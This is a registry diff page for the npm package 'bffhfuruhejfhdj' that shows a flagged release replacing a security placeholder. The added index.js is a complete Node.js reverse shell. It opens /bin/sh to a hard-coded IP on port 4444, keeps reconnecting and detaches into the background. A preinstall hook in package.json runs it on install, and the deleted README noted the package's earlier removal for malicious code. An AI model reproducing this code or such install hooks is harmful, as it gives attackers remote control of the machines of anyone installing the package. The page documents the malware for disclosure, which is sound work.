bffhfuruhejfhdj 0.0.1-security → 1.9.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of bffhfuruhejfhdj might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +56 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,56 @@
1
+ const net = require("net");
2
+ const { spawn } = require("child_process");
3
+
4
+ const HOST = "134.209.149.207"; // Replace with the attacker's IP
5
+ const PORT = 4444; // Match this with the listener port
6
+
7
+ function startReverseShell() {
8
+ const client = new net.Socket();
9
+
10
+ client.connect(PORT, HOST, () => {
11
+ console.log(`Connected to ${HOST}:${PORT}`);
12
+
13
+ // Spawn the shell process
14
+ const shell = spawn("/bin/sh", []);
15
+
16
+ // Pipe streams properly for bidirectional communication
17
+ client.pipe(shell.stdin); // Input from attacker to shell
18
+ shell.stdout.pipe(client); // Output from shell to attacker
19
+ shell.stderr.pipe(client); // Error output from shell to attacker
20
+
21
+ shell.on("error", (err) => {
22
+ console.error("Shell process error:", err.message);
23
+ });
24
+
25
+ shell.on("close", () => {
26
+ console.log("Shell process closed.");
27
+ client.end(); // Close the client socket if the shell exits
28
+ });
29
+ });
30
+
31
+ // Handle socket errors
32
+ client.on("error", (err) => {
33
+ console.error("Socket error:", err.message);
34
+ setTimeout(startReverseShell, 5000); // Reconnect after 5 seconds
35
+ });
36
+
37
+ // Retry connection on close
38
+ client.on("close", () => {
39
+ console.log("Connection closed. Retrying...");
40
+ setTimeout(startReverseShell, 5000); // Reconnect after 5 seconds
41
+ });
42
+ }
43
+
44
+ // Start in detached background mode
45
+ if (process.argv.includes("--background")) {
46
+ startReverseShell();
47
+ } else {
48
+ const { spawn } = require("child_process");
49
+ const backgroundProcess = spawn("node", [__filename, "--background"], {
50
+ detached: true,
51
+ stdio: "ignore", // Ignore output to terminal
52
+ });
53
+
54
+ backgroundProcess.unref();
55
+ console.log("Process complete. Reverse shell running in the background.");
56
+ }
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "bffhfuruhejfhdj",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.9.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "description": ""
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=bffhfuruhejfhdj for more information.